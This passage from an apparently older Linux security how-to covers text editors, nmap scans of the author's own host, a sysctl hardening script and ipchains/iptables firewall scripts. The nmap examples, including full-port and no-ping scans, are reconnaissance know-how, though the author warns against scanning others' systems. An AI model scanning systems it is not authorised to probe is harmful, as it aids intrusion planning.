    The Coroner's Toolkit (TCT): http://www.fish.com/security/, discussions and tools for dealing with post break-in issues (and preventing them in the first place).

  • Privacy:

    Junkbuster: http://www.junkbuster.com, a web proxy and cookie manager.

    PGP: http://www.gnupg.org/

  • Other documentation and reference sites:

    Linux Security.com: http://www.linuxsecurity.com/docs/

    Linux Newbie: http://www.linuxnewbie.org/nhf/intel/security/index.html

    The comp.os.linux.security FAQ: http://www.linuxsecurity.com/docs/colsfaq.html

    The Internet Firewall FAQ: http://pubweb.nfr.net/~mjr/pubs/fwfaq/

    The Site Security Handbook RFC: http://www.ietf.org/rfc/rfc2196.txt

  • Miscellaneous sites of interest:

    http://www.bastille-linux.org, for Mandrake and Red Hat only.

    SAINT: http://www.wwdsi.com/saint/, system security analysis.

    SSL: http://www.openssl.org/

    SSH: http://www.openssh.org/

    Scan yourself: http://www.hackerwhacker.com

    PAM: http://www.kernel.org/pub/linux/libs/pam/index.html

    Detecting Trojaned Linux Kernel Modules: http://members.prestige.net/tmiller12/papers/lkm.htm

    Rootkit checker: http://www.chkrootkit.org

    Port scanning tool nmap's home page: http://www.insecure.org

    Nessus, more than just a port scanner: http://www.nessus.org

    Tripwire, intrusion detection: http://www.tripwire.org

    Snort, sniffer and more: http://www.snort.org

    http://www.mynetwatchman.com and http://dshield.org are "Distributed Intrusion Detection Systems". They collect log data from subscribing "agents", and collate the data to find and report malicious activity. If you want to fight back, check these out.

8.6. Editing Text Files

By Bill Staehle

All the world is a file.

There are a great many types of files, but I'm going to stretch it here, and class them into two really broad families:

 Text files are just that.
 Binary files are not.

Binary files are meant to be read by machines, text files can be easily edited, and are generally read by people. But text files can be (and frequently are) read by machines. Examples of this would be configuration files, and scripts.

There are a number of different text editors available in *nix. A few are found on every system. That would be '/bin/ed' and '/bin/vi'. 'vi' is almost always a clone such as 'vim' due to license problems. The problem with 'vi' and 'ed' is that they are terribly user unfriendly. Another common editor that is not always installed by default is 'emacs'. It has a lot more features and capability, and is not easy to learn either.

As to 'user friendly' editors, 'mcedit' and 'pico' are good choices to start with. These are often much easier for those new to *nix.

The first things to learn are how to exit an editing session, how to save changes to the file, and then how to avoid breaking long lines that should not be broken (wrapped).

The 'vi' editor

'vi' is one of the most common text editors in the Unix world, and it's nearly always found on any *nix system. Actually, due to license problems, the '/bin/vi' on a Linux system is always a 'clone', such as 'elvis', 'nvi', or 'vim' (there are others). These clones can act exactly like the original 'vi', but usually have additional features that make it slightly less impossible to use.

So, if it's so terrible, why learn about it? Two reasons. First, as noted, it's almost guaranteed to be installed, and other (more user friendly) editors may not be installed by default. Second, many of the 'commands' work in other applications (such as the pager 'less' which is also used to view man pages). In 'less', accidentally pressing the 'v' key starts 'vi' in most installations.

'vi' has two modes. The first is 'command mode', and keystrokes are interpreted as commands. The other mode is 'insert' mode, where nearly all keystrokes are interpreted as text to be inserted.

==> Emergency exit from 'vi' 1. press the <esc> key up to three times, until the computer beeps, or the screen flashes. 2. press the keys :q! <Enter>

That is: colon, the letter Q, and then the exclamation point, followed by the Enter key.

'vi' commands are as follows. All of these are in 'command' mode:

a    Enter insertion mode after the cursor.
A    Enter insertion mode at the end of the current line.
i    Enter insertion mode before the cursor.
o    Enter insertion mode opening a new line BELOW current line.
O    Enter insertion mode opening a new line ABOVE current line.
h    move cursor left one character.
l    move cursor right one character.
j    move cursor down one line.
k    move cursor up one line.
/mumble  move cursor forward to next occurrence of 'mumble' in
         the text
?mumble  move cursor backward to next occurrence of 'mumble'
         in the text
n    repeat last search (? or / without 'mumble' to search for
     will do the same thing)
u    undo last change made

^B   Scroll back one window.
^F   Scroll forward one window.
^U   Scroll up one half window.
^D   Scroll down one half window.

:w   Write to file.
:wq  Write to file, and quit.
:q   quit.
:q!  Quit without saving.

<esc>   Leave insertion mode.

NOTE: The four 'arrow' keys almost always work in 'command' or 'insert' mode.

The 'ed' editor.

The 'ed' editor is a line editor. Other than the fact that it is virtually guaranteed to be on any *nix computer, it has no socially redeeming features, although some applications may need it. A _lot_ of things have been offered to replace this 'thing' from 1975.

==> Emergency exit from 'ed'

1. type a period on a line by itself, and press <Enter> This gets you to the command mode or prints a line of text if you were in command mode. 2. type q and press <Enter>. If there were no changes to the file, this action quits ed. If you then see a '?' this means that the file had changed, and 'ed' is asking if you want to save the changes. Press q and <Enter> a second time to confirm that you want out.

The 'pico' editor.

'pico' is a part of the Pine mail/news package from the University of Washington (state, USA). It is a very friendly editor, with one minor failing. It silently inserts a line feed character and wraps the line when it exceeds (generally) 74 characters. While this is fine while creating mail, news articles, and text notes, it is often fatal when editing system files. The solution to this problem is simple. Call the program with the -w option, like this:

pico -w file_2_edit

Pico is so user friendly, no further instructions are needed. It _should_ be obvious (look at the bottom of the screen for commands). There is an extensive help function. Pico is available with nearly all distributions, although it _may_ not be installed by default.

==> Emergency exit from 'pico'

Press and hold the <Ctrl> key, and press the letter x. If no changes had been made to the file, this will quit pico. If changes had been made, it will ask if you want to save the changes. Pressing n will then exit.

The 'mcedit' editor.

'mcedit' is part of the Midnight Commander shell program, a full featured visual shell for Unix-like systems. It can be accessed directly from the command line ( mcedit file_2_edit ) or as part of 'mc' (use the arrow keys to highlight the file to be edited, then press the F4 key).

mcedit is probably the most intuitive editor available, and comes with extensive help. "commands" are accessed through the F* keys. Midnight Commander is available with nearly all distributions, although it _may_ not be installed by default.

==> Emergency exit from 'mcedit'

Press the F10 key. If no changes have been made to the file, this will quit mcedit. If changes had been made, it will ask if you want to Cancel this action. Pressing n will then exit.

8.7. nmap

Let's look at a few quick examples of what nmap scans look like. The intent here is to show how to use nmap to verify our firewalling, and system integrity. nmap has other uses that we don't need to get into. Do NOT use nmap on systems other than your own, unless you have permission from the owner, and you know it is not a violation of anyone's Terms of Service. This kind of thing will be taken as hostile by most people.

As mentioned previously, nmap is a sophisticated port scanning tool. It tries to see if a host is "there", and what ports might be open. Barring that, what states those ports might be in. nmap has a complex command line and can do many types of "scans". See the man page for all the nitty gritty.

A couple of words of warning first. If using portsentry, turn it off. It will drop the route to wherever the scan is coming from. You might want to turn off any logging also, or at least be aware that you might get copious logs if doing multiple scans.

A simple, default scan of "localhost":

 # nmap localhost

 Starting nmap V. 2.53 by fyodor@insecure.org ( www.insecure.org/nmap/ )
 Interesting ports on bigcat (127.0.0.1):
 (The 1507 ports scanned but not shown below are in state: closed)

 Port       State       Service
 22/tcp     open        ssh
 25/tcp     open        smtp
 37/tcp     open        time
 53/tcp     open        domain
 80/tcp     open        http
 3000/tcp   open        ppp

 Nmap run completed -- 1 IP address (1 host up) scanned in 2 seconds

If you've read most of this document, you should be familiar with these services by now. These are some of the same ports we've seen in other examples. Some things to note on this scan: it only did 1500+ "interesting" ports -- not all ports. This can be configured differently if more is desirable (see man page). It only did TCP ports too. Again, configurable. It only picks up "listening" services, unlike netstat that shows all open ports -- listening or otherwise. Note the last "open" port here is 3000 is identified as "PPP". Wrong! That is just an educated guess by nmap based on what is contained in /etc/services for this port number. Actually in this case it is ntop (a network traffic monitor). Take the service names with a grain of salt. There is no way for nmap to really know what is on that port. Matching port numbers with service names can at times be risky. Many do have standard ports, but there is nothing to say they have to use the commonly associated port numbers.

Notice that in all our netstat examples, we had two classes of open ports: listening servers, and then established connections that we initiated to other remote hosts (e.g. a web server somewhere). nmap only sees the first group -- the listening servers! The other ports connecting us to remote servers are not visible, and thus not vulnerable. These ports are "private" to that single connection, and will be closed when the connection is terminated.

So we have open and closed ports here. Simple enough, and gives a pretty good idea what is running on bigcat -- but not necessarily what we look like to the outside world since this was done from localhost, and wouldn't reflect any firewalling or other access control mechanisms.

Let's do a little more intensive scan. Let's check all ports -- TCP and UDP.

 # nmap -sT -sU -p 1-65535 localhost

 Starting nmap V. 2.53 by fyodor@insecure.org ( www.insecure.org/nmap/ )
 Interesting ports on bigcat (127.0.0.1):
 (The 131050 ports scanned but not shown below are in state: closed)

 Port       State       Service
 22/tcp     open        ssh
 25/tcp     open        smtp
 37/tcp     open        time
 53/tcp     open        domain
 53/udp     open        domain
 80/tcp     open        http
 3000/tcp   open        ppp
 8000/tcp   open        unknown
 32768/udp  open        unknown

 Nmap run completed -- 1 IP address (1 host up) scanned in 385 seconds

This is more than just "interesting" ports -- it is everything. We picked up a couple of new ones in the process too. We've seen these before with netstat, so we know what they are. That is the Junkbuster web proxy on port 8000/tcp and named on 32768/udp. This scan takes much, much longer, but it is the only way to see all ports.

So now we have a pretty good idea of what is open on bigcat. Since we are scanning localhost from localhost, everything should be visible. We still don't know how the outside world sees us though. Now I'll ssh to another host on the same LAN, and try again.

 # nmap bigcat

 Starting nmap V. 2.53 by fyodor@insecure.org ( www.insecure.org/nmap/ )
 Interesting ports on bigcat (192.168.1.1):
 (The 1520 ports scanned but not shown below are in state: closed)

 Port       State       Service
 22/tcp     open        ssh
 3000/tcp   open        ppp

 Nmap run completed -- 1 IP address (1 host up) scanned in 1 second

I confess to tampering with the iptables rules here to make a point. Only two visible ports on this scan. Everything else is "closed". So says nmap. Once again:

 # nmap bigcat

 Starting nmap V. 2.53 by fyodor@insecure.org ( www.insecure.org/nmap/ )
 Note: Host seems down. If it is really up, but blocking our ping probes, try -P0

 Nmap run completed -- 1 IP address (0 hosts up) scanned in 30 seconds

Oops, I blocked ICMP (ping) while I was at it this time. One more time:

 # nmap -P0 bigcat

 Starting nmap V. 2.53 by fyodor@insecure.org ( www.insecure.org/nmap/ )
 All 1523 scanned ports on bigcat (192.168.1.1) are: filtered

 Nmap run completed -- 1 IP address (1 host up) scanned in 1643 seconds

That's it. Notice how long that took. Notice ports are now "filtered" instead of "closed". How does nmap know that? Well for one, "closed" means bigcat sent a packet back saying "nothing running here", i.e. port is closed. In this last example, the iptables rules were changed to not allow ICMP (ping), and to "DROP" all incoming packets. In other words, no response at all. A subtle difference since nmap seems to still know there was a host there, even though no response was given. One lesson here, is if you want to slow a scanner down, "DROP" (or "DENY") the packets. This forces a TCP time out for the remote end on each port probe. Anyway, if your scans look like this, that is probably as well as can be expected, and your firewall is doing its job.

A brief note on UDP: nmap can not accurately determine the status of these ports if they are "filtered". You probably will get a false-positive "open" condition. This has to do with UDP being a connectionless protocol. If nmap gets no answer (e.g. due to a "DROP"), it assumes the packets reached the target, and thus the port will be reported as "open". This is "normal" for nmap.

We can play with firewall rules in a LAN set up to try to simulate how the outside world sees us, and if we are smart, and know what we are doing, and don't have a brain fart, we probably will have a pretty good picture. But it is still best to try to find a way to do it from outside if possible. Again, make sure you are not violating any ISP rules of conduct. Do you have a friend on the same ISP?

8.8. Sysctl Options

The "sysctl" options are kernel parameters that can be configured via the /proc filesystem. These can be dynamically adjusted at run-time. Typically these options are off if set to "0", and on if set to "1".

Some of these have security implications, and thus is why we are here ;-) We'll just list the ones we think are relevant. Feel free to cut and paste these into a firewall script, or other file that is run during boot (like /etc/rc.local). Or your distribution may have their own way of tuning this. You can read up on what these mean in /usr/src/linux/Documentation/sysctl/README and other files in the kernel Documentation directories.

#!/bin/sh
#
# Configure kernel sysctl run-time options.
#
###################################################################

# Anti-spoofing blocks
for i in /proc/sys/net/ipv4/conf/*/rp_filter;
do
 echo 1 > $i
done

# Ensure source routing is OFF
for i in /proc/sys/net/ipv4/conf/*/accept_source_route;
 do
  echo 0 > $i
 done

# Ensure TCP SYN cookies protection is enabled
[ -e /proc/sys/net/ipv4/tcp_syncookies ] &&\
 echo 1 > /proc/sys/net/ipv4/tcp_syncookies

# Ensure ICMP redirects are disabled
for i in /proc/sys/net/ipv4/conf/*/accept_redirects;
 do
  echo 0 > $i
 done

# Ensure oddball addresses are logged
[ -e /proc/sys/net/ipv4/conf/all/log_martians ] &&\
 echo 1 > /proc/sys/net/ipv4/conf/all/log_martians

[ -e /proc/sys/net/ipv4/icmp_echo_ignore_broadcasts ] &&\
 echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_broadcasts

[ -e /proc/sys/net/ipv4/icmp_ignore_bogus_error_responses ] &&\
 echo 1 > /proc/sys/net/ipv4/icmp_ignore_bogus_error_responses

## Optional from here on down, depending on your situation. ############

# Ensure ip-forwarding is enabled if
# we want to do forwarding or masquerading.
[ -e /proc/sys/net/ipv4/ip_forward ] &&\
 echo 1 > /proc/sys/net/ipv4/ip_forward

# On if your IP is dynamic (or you don't know).
[ -e /proc/sys/net/ipv4/ip_dynaddr ] &&\
 echo 1 > /proc/sys/net/ipv4/ip_dynaddr

# eof

8.9. Secure Alternatives

This section will give a brief run down on secure alternatives to potentially insecure methods. This will be a hodge podge of clients and servers.

  • telnet, rsh - ssh

  • ftp, rcp - scp or sftp. Both are part of ssh packages. Also, files can easily be transfered via HTTP if Apache is already running anyway. Apache can be buttoned down even more by using SSL (HTTPS).

  • sendmail - postfix, qmail. Not to imply that current versions of sendmail are insecure. Just that there is some bad history there, and just because it is so widely used that it makes an inviting crack target.

    As noted above, Linux installations often include a fully functional mail server. While this may have some advantages, it is not necessary in many cases for simply sending mail, or retrieving mail. This can all be done without a "mail server daemon" running locally.

  • POP3 - SPOP3, POP3 over SSL. If you really need to run your own POP server, this is the way to do it. If retrieving your mail from your ISP's server, then you are at their mercy as to what they provide.

  • IMAP - IMAPS, same as above.

  • If you find you need a particular service, and it is for just you or a few friends, consider running it on a non-standard port. Most server daemons support this, and is not a problem as long as those who will be connecting, know about it. For instance, the standard port for sshd is 22. Any worm or scan will probe for this port number. So run it on a randomly chosen port. See the sshd man page.

8.10. Ipchains and Iptables Redux

This section offers a little more advanced look at some of things that ipchains and iptables can do. These are basically the same scripts as in Step 3 above, just with some more advanced configuration options added. These will provide "masquerading", "port forwarding", allow access to some user definable services, and a few other things. Read the comments for explanations.

8.10.1. ipchains II

#!/bin/sh
#
# ipchains.sh
#
# An example of a simple ipchains configuration. This script
# can enable 'masquerading' and will open user definable ports.
#
###################################################################
# Begin variable declarations and user configuration options ######
#
# Set the location of ipchains (default).
IPCHAINS=/sbin/ipchains

# Local Interfaces
#
# This is the WAN interface, that is our link to the outside world.
# For pppd and pppoe users.
# WAN_IFACE="ppp0"
WAN_IFACE="eth0"
#
# Local Area Network (LAN) interface.
#LAN_IFACE="eth0"
LAN_IFACE="eth1"

# Our private LAN address(es), for masquerading.
LAN_NET="192.168.1.0/24"

# For static IP, set it here!
#WAN_IP="1.2.3.4"

# Set a list of public server port numbers here...not too many!
# These will be open to the world, so use caution. The example is
# sshd, and HTTP (www). Any services included here should be the
# latest version available from your vendor. Comment out to disable
# all PUBLIC services.
#PUBLIC_PORTS="22 80 443"
PUBLIC_PORTS="22"

# If we want to do port forwarding, this is the host
# that will be forwarded to.
#FORWARD_HOST="192.168.1.3"

# A list of ports that are to be forwarded.
#FORWARD_PORTS="25  80"

# If you get your public IP address via DHCP, set this.
DHCP_SERVER=66.21.184.66

# If you need identd for a mail server, set this.
MAIL_SERVER=

# A list of unwelcome hosts or nets. These will be denied access
# to everything, even our 'PUBLIC' services. Provide your own list.
#BLACKLIST="11.22.33.44 55.66.77.88"

# A list of "trusted" hosts and/or nets. These will have access to
# ALL protocols, and ALL open ports. Be selective here.
#TRUSTED="1.2.3.4/8  5.6.7.8"

## end user configuration options #################################
###################################################################

# The high ports used mostly for connections we initiate and return
# traffic.
LOCAL_PORTS=`cat /proc/sys/net/ipv4/ip_local_port_range |cut -f1`:\
`cat /proc/sys/net/ipv4/ip_local_port_range |cut -f2`

# Any and all addresses from anywhere.
ANYWHERE="0/0"

# Start building chains and rules #################################
#
# Let's start clean and flush all chains to an empty state.
$IPCHAINS -F

# Set the default policies of the built-in chains. If no match for any
# of the rules below, these will be the defaults that ipchains uses.
$IPCHAINS -P forward DENY
$IPCHAINS -P output ACCEPT
$IPCHAINS -P input DENY

# Accept localhost/loopback traffic.
$IPCHAINS -A input -i lo -j ACCEPT

# Get our dynamic IP now from the Inet interface. WAN_IP will be our
# IP address we are protecting from the outside world. Put this
# here, so default policy gets set, even if interface is not up
# yet.
[ -z "$WAN_IP" ] &&\
  WAN_IP=`ifconfig $WAN_IFACE |grep inet |cut -d : -f 2 |cut -d \  -f 1`

# Bail out with error message if no IP available! Default policy is
# already set, so all is not lost here.
[ -z "$WAN_IP" ] && echo "$WAN_IFACE not configured, aborting." && exit 1

WAN_MASK=`ifconfig $WAN_IFACE | grep Mask | cut -d : -f 4`
WAN_NET="$WAN_IP/$WAN_MASK"

## Reserved IPs:
#
# We should never see these private addresses coming in from outside
# to our external interface.
$IPCHAINS -A input -l -i $WAN_IFACE -s 10.0.0.0/8     -j DENY
$IPCHAINS -A input -l -i $WAN_IFACE -s 172.16.0.0/12  -j DENY
$IPCHAINS -A input -l -i $WAN_IFACE -s 192.168.0.0/16 -j DENY
$IPCHAINS -A input -l -i $WAN_IFACE -s 127.0.0.0/8    -j DENY
$IPCHAINS -A input -l -i $WAN_IFACE -s 169.254.0.0/16 -j DENY
$IPCHAINS -A input -l -i $WAN_IFACE -s 224.0.0.0/4    -j DENY
$IPCHAINS -A input -l -i $WAN_IFACE -s 240.0.0.0/5    -j DENY
# Bogus routing
$IPCHAINS -A input -l -s 255.255.255.255 -d $ANYWHERE -j DENY

## LAN access and masquerading
#
# Allow connections from our own LAN's private IP addresses via the LAN
# interface and set up forwarding for masqueraders if we have a LAN_NET
# defined above.
if [ -n "$LAN_NET" ]; then
 echo 1 > /proc/sys/net/ipv4/ip_forward
 $IPCHAINS -A input  -i $LAN_IFACE  -j ACCEPT
 $IPCHAINS -A forward -s $LAN_NET -d $LAN_NET -j ACCEPT
 $IPCHAINS -A forward  -s $LAN_NET -d ! $LAN_NET -j MASQ
fi

## Blacklist hosts/nets
#
# Get the blacklisted hosts/nets out of the way, before we start opening
# up any services. These will have no access to us at all, and will be
# logged.
for i in $BLACKLIST; do
 $IPCHAINS -A input -l -s $i -j DENY
done

## Trusted hosts/nets
#
# This is our trusted host list. These have access to everything.
for i in $TRUSTED; do
 $IPCHAINS -A input -s $i -j ACCEPT
done

# Port Forwarding
#
# Which ports get forwarded to which host. This is one to one
# port mapping (ie 80 -> 80) in this case.
# NOTE: ipmasqadm is a separate package from ipchains and needs
# to be installed also. Check first!
[ -n "$FORWARD_HOST" ] && ipmasqadm portfw -f &&\
 for i in $FORWARD_PORTS; do
   ipmasqadm portfw -a -P tcp -L $WAN_IP $i -R $FORWARD_HOST $i
 done

## Open, but Restricted Access ports/services
#
# Allow DHCP server (their port 67) to client (to our port 68) UDP traffic
# from outside source.
[ -n "$DHCP_SERVER" ] &&\
 $IPCHAINS -A input -p udp -s $DHCP_SERVER 67 -d $ANYWHERE 68 -j ACCEPT

# Allow 'identd' (to our TCP port 113) from mail server only.
[ -n "$MAIL_SERVER" ] &&\
 $IPCHAINS -A input -p tcp -s $MAIL_SERVER  -d $WAN_IP 113 -j ACCEPT

# Open up PUBLIC server ports here (available to the world):
for i in $PUBLIC_PORTS; do
 $IPCHAINS -A input -p tcp -s $ANYWHERE -d $WAN_IP $i -j ACCEPT
done

# So I can check my home POP3 mailbox from work. Also, so I can ssh
# in to home system. Only allow connections from my workplace's
# various IPs. Everything else is blocked.
$IPCHAINS -A input -p tcp -s 255.10.9.8/29 -d $WAN_IP 110 -j ACCEPT

# Uncomment to allow ftp data back (active ftp). Not required for 'passive'
# ftp connections.
#$IPCHAINS -A input -p tcp -s $ANYWHERE 20 -d $WAN_IP $LOCAL_PORTS -y -j ACCEPT

# Accept non-SYN TCP, and UDP connections to LOCAL_PORTS. These are
# the high, unprivileged ports (1024 to 4999 by default). This will
# allow return connection traffic for connections that we initiate
# to outside sources. TCP connections are opened with 'SYN' packets.
# We have already opened those services that need to accept SYNs
# for, so other SYNs are excluded here for everything else.
$IPCHAINS -A input -p tcp -s $ANYWHERE -d $WAN_IP $LOCAL_PORTS ! -y -j ACCEPT

# We can't be so selective with UDP since that protocol does not know
# about SYNs.
$IPCHAINS -A input -p udp -s $ANYWHERE -d $WAN_IP $LOCAL_PORTS -j ACCEPT

# Allow access to the masquerading ports conditionally. Masquerading
# uses it's own port range -- on 2.2 kernels ONLY! 2.4 kernels, do not
# use these ports, so comment out!
[ -n "$LAN_NET" ] &&\
 $IPCHAINS -A input -p tcp -s $ANYWHERE -d $WAN_IP 61000: ! -y -j ACCEPT &&\
 $IPCHAINS -A input -p udp -s $ANYWHERE -d $WAN_IP 61000: -j ACCEPT

## ICMP (ping)
#
# ICMP rules, allow the bare essential types of ICMP only. Ping
# request is blocked, ie we won't respond to someone else's pings,
# but can still ping out.
$IPCHAINS -A input  -p icmp  --icmp-type echo-reply \
   -s $ANYWHERE -i $WAN_IFACE -j ACCEPT
$IPCHAINS -A input  -p icmp  --icmp-type destination-unreachable \
   -s $ANYWHERE -i $WAN_IFACE -j ACCEPT
$IPCHAINS -A input  -p icmp  --icmp-type time-exceeded \
   -s $ANYWHERE -i $WAN_IFACE -j ACCEPT

#######################################################################
# Set the catchall, default rule to DENY, and log it all. All other
# traffic not allowed by the rules above, winds up here, where it is
# blocked and logged. This is the default policy for this chain
# anyway, so we are just adding the logging ability here with '-l'.
# Outgoing traffic is allowed as the default policy for the 'output'
# chain. There are no restrictions on that.

$IPCHAINS -A input -l -j DENY

echo "Ipchains firewall is up `date`."

##-- eof ipchains.sh

8.10.2. iptables II

#!/bin/sh
#
# iptables.sh
#
# An example of a simple iptables configuration. This script
# can enable 'masquerading' and will open user definable ports.
#
###################################################################
# Begin variable declarations and user configuration options ######
#
# Set the location of iptables (default).
IPTABLES=/sbin/iptables

# Local Interfaces
# This is the WAN interface that is our link to the outside world.
# For pppd and pppoe users.
# WAN_IFACE="ppp0"
WAN_IFACE="eth0"
#
# Local Area Network (LAN) interface.
#LAN_IFACE="eth0"
LAN_IFACE="eth1"

# Our private LAN address(es), for masquerading.
LAN_NET="192.168.1.0/24"

# For static IP, set it here!
#WAN_IP="1.2.3.4"

# Set a list of public server port numbers here...not too many!
# These will be open to the world, so use caution. The example is
# sshd, and HTTP (www). Any services included here should be the
# latest version available from your vendor. Comment out to disable
# all Public services. Do not put any ports to be forwarded here,
# this only direct access.
#PUBLIC_PORTS="22 80 443"
PUBLIC_PORTS="22"

# If we want to do port forwarding, this is the host
# that will be forwarded to.
#FORWARD_HOST="192.168.1.3"

# A list of ports that are to be forwarded.
#FORWARD_PORTS="25  80"

# If you get your public IP address via DHCP, set this.
DHCP_SERVER=66.21.184.66

# If you need identd for a mail server, set this.
MAIL_SERVER=

# A list of unwelcome hosts or nets. These will be denied access
# to everything, even our 'Public' services. Provide your own list.
#BLACKLIST="11.22.33.44 55.66.77.88"

# A list of "trusted" hosts and/or nets. These will have access to
# ALL protocols, and ALL open ports. Be selective here.
#TRUSTED="1.2.3.4/8  5.6.7.8"

## end user configuration options #################################
###################################################################

# Any and all addresses from anywhere.
ANYWHERE="0/0"

# These modules may need to be loaded:
modprobe ip_conntrack_ftp
modprobe ip_nat_ftp

# Start building chains and rules #################################
#
# Let's start clean and flush all chains to an empty state.
$IPTABLES -F
$IPTABLES -X

# Set the default policies of the built-in chains. If no match for any
# of the rules below, these will be the defaults that IPTABLES uses.
$IPTABLES -P FORWARD DROP
$IPTABLES -P OUTPUT ACCEPT
$IPTABLES -P INPUT DROP

# Accept localhost/loopback traffic.
$IPTABLES -A INPUT -i lo -j ACCEPT

# Get our dynamic IP now from the Inet interface. WAN_IP will be the
# address we are protecting from outside addresses.
[ -z "$WAN_IP" ] &&\
  WAN_IP=`ifconfig $WAN_IFACE |grep inet |cut -d : -f 2 |cut -d \  -f 1`

# Bail out with error message if no IP available! Default policy is
# already set, so all is not lost here.
[ -z "$WAN_IP" ] && echo "$WAN_IFACE not configured, aborting." && exit 1

WAN_MASK=`ifconfig $WAN_IFACE |grep Mask |cut -d : -f 4`
WAN_NET="$WAN_IP/$WAN_MASK"

## Reserved IPs:
#
# We should never see these private addresses coming in from outside
# to our external interface.
$IPTABLES -A INPUT -i $WAN_IFACE -s 10.0.0.0/8      -j DROP
$IPTABLES -A INPUT -i $WAN_IFACE -s 172.16.0.0/12   -j DROP
$IPTABLES -A INPUT -i $WAN_IFACE -s 192.168.0.0/16  -j DROP
$IPTABLES -A INPUT -i $WAN_IFACE -s 127.0.0.0/8     -j DROP
$IPTABLES -A INPUT -i $WAN_IFACE -s 169.254.0.0/16  -j DROP
$IPTABLES -A INPUT -i $WAN_IFACE -s 224.0.0.0/4     -j DROP
$IPTABLES -A INPUT -i $WAN_IFACE -s 240.0.0.0/5     -j DROP
# Bogus routing
$IPTABLES -A INPUT -s 255.255.255.255 -d $ANYWHERE -j DROP

# Unclean
$IPTABLES -A INPUT -i $WAN_IFACE -m unclean -m limit \
      --limit 15/minute -j LOG --log-prefix "Unclean: "
$IPTABLES -A INPUT -i $WAN_IFACE -m unclean -j DROP

## LAN access and masquerading
#
# Allow connections from our own LAN's private IP addresses via the LAN
# interface and set up forwarding for masqueraders if we have a LAN_NET
# defined above.
if [ -n "$LAN_NET" ]; then
 echo 1 > /proc/sys/net/ipv4/ip_forward
 $IPTABLES -A INPUT -i $LAN_IFACE  -j ACCEPT
# $IPTABLES -A INPUT -i $LAN_IFACE -s $LAN_NET -d $LAN_NET  -j ACCEPT
 $IPTABLES -t nat -A POSTROUTING -s $LAN_NET -o $WAN_IFACE -j MASQUERADE
fi

## Blacklist
#
# Get the blacklisted hosts/nets out of the way, before we start opening
# up any services. These will have no access to us at all, and will
# be logged.
for i in $BLACKLIST; do
 $IPTABLES -A INPUT -s $i -m limit --limit 5/minute \
   -j LOG --log-prefix "Blacklisted: "
 $IPTABLES -A INPUT -s $i -j DROP
done

## Trusted hosts/nets
#
# This is our trusted host list. These have access to everything.
for i in $TRUSTED; do
 $IPTABLES -A INPUT -s $i -j ACCEPT
done

# Port Forwarding
#
# Which ports get forwarded to which host. This is one to one
# port mapping (ie 80 -> 80) in this case.
[ -n "$FORWARD_HOST" ] &&\
 for i in $FORWARD_PORTS; do
   $IPTABLES -A FORWARD -p tcp -s $ANYWHERE -d $FORWARD_HOST \
     --dport $i -j ACCEPT
   $IPTABLES -t nat -A PREROUTING -p tcp -d $WAN_IP --dport $i \
     -j DNAT --to $FORWARD_HOST:$i
 done

## Open, but Restricted Access ports
#
# Allow DHCP server (their port 67) to client (to our port 68) UDP
# traffic from outside source.
[ -n "$DHCP_SERVER" ] &&\
 $IPTABLES -A INPUT -p udp -s $DHCP_SERVER --sport 67 \
   -d $ANYWHERE --dport 68 -j ACCEPT

# Allow 'identd' (to our TCP port 113) from mail server only.
[ -n "$MAIL_SERVER" ] &&\
 $IPTABLES -A INPUT -p tcp -s $MAIL_SERVER  -d $WAN_IP --dport 113 -j ACCEPT

# Open up Public server ports here (available to the world):
for i in $PUBLIC_PORTS; do
 $IPTABLES -A INPUT -p tcp -s $ANYWHERE -d $WAN_IP --dport $i -j ACCEPT
done

# So I can check my home POP3 mailbox from work. Also, so I can ssh
# in to home system. Only allow connections from my workplace's
# various IPs. Everything else is blocked.
$IPTABLES -A INPUT -p tcp -s 255.10.9.8/29 -d $WAN_IP --dport 110 -j ACCEPT

## ICMP (ping)
#
# ICMP rules, allow the bare essential types of ICMP only. Ping
# request is blocked, ie we won't respond to someone else's pings,
# but can still ping out.
$IPTABLES -A INPUT  -p icmp  --icmp-type echo-reply \
   -s $ANYWHERE -d $WAN_IP -j ACCEPT
$IPTABLES -A INPUT  -p icmp  --icmp-type destination-unreachable \
   -s $ANYWHERE -d $WAN_IP -j ACCEPT
$IPTABLES -A INPUT  -p icmp  --icmp-type time-exceeded \
   -s $ANYWHERE -d $WAN_IP -j ACCEPT

# Identd Reject
#
# Special rule to reject (with rst) any identd/auth/port 113
# connections. This will speed up some services that ask for this,
# but don't require it. Be careful, some servers may require this
# one (IRC for instance).
#$IPTABLES -A INPUT -p tcp --dport 113 -j REJECT --reject-with tcp-reset

###################################################################
# Build a custom chain here, and set the default to DROP. All
# other traffic not allowed by the rules above, ultimately will
# wind up here, where it is blocked and logged, unless it passes
# our stateful rules for ESTABLISHED and RELATED connections. Let
# connection tracking do most of the worrying! We add the logging
# ability here with the '-j LOG' target. Outgoing traffic is
# allowed as that is the default policy for the 'output' chain.
# There are no restrictions placed on that in this script.

# New chain...
$IPTABLES -N DEFAULT
# Use the 'state' module to allow only certain connections based
# on their 'state'.
$IPTABLES -A DEFAULT -m state --state ESTABLISHED,RELATED -j ACCEPT
$IPTABLES -A DEFAULT -m state --state NEW -i ! $WAN_IFACE -j ACCEPT
# Enable logging for anything that gets this far.
$IPTABLES -A DEFAULT -j LOG -m limit --limit 30/minute --log-prefix "Dropping: "
# Now drop it, if it has gotten here.
$IPTABLES -A DEFAULT -j DROP

# This is the 'bottom line' so to speak. Everything winds up
# here, where we bounce it to our custom built 'DEFAULT' chain
# that we defined just above. This is for both the FORWARD and
# INPUT chains.

$IPTABLES -A FORWARD -j DEFAULT
$IPTABLES -A INPUT   -j DEFAULT

echo "Iptables firewall is up `date`."

##-- eof iptables.sh

8.10.3. Summary

A quick run down of the some highlights...

We added some host based access control rules: "blacklisted", and "trusted". We then showed several types of service and port based access rules. For instance, we allowed some very restrictive access to bigcat's POP3 server so we could connect only from our workplace. We allowed a very narrow rule for the ISP's DHCP server. This rule only allows one port on one outside IP address to connect to only one of our ports and only via the UDP protocol. This is a very specific rule! We are being specific since there is no reason to allow any other traffic to these ports or from these addresses. Remember our goal is the minimum amount of traffic necessary for our particular situation.

So we made those few exceptions mentioned above, and all other services running on bigcat should be effectively blocked completely from outside connections. These are still happily running on bigcat, but are now safe and sound behind our packet filtering firewall. You probably have other services that fall in this category as well.

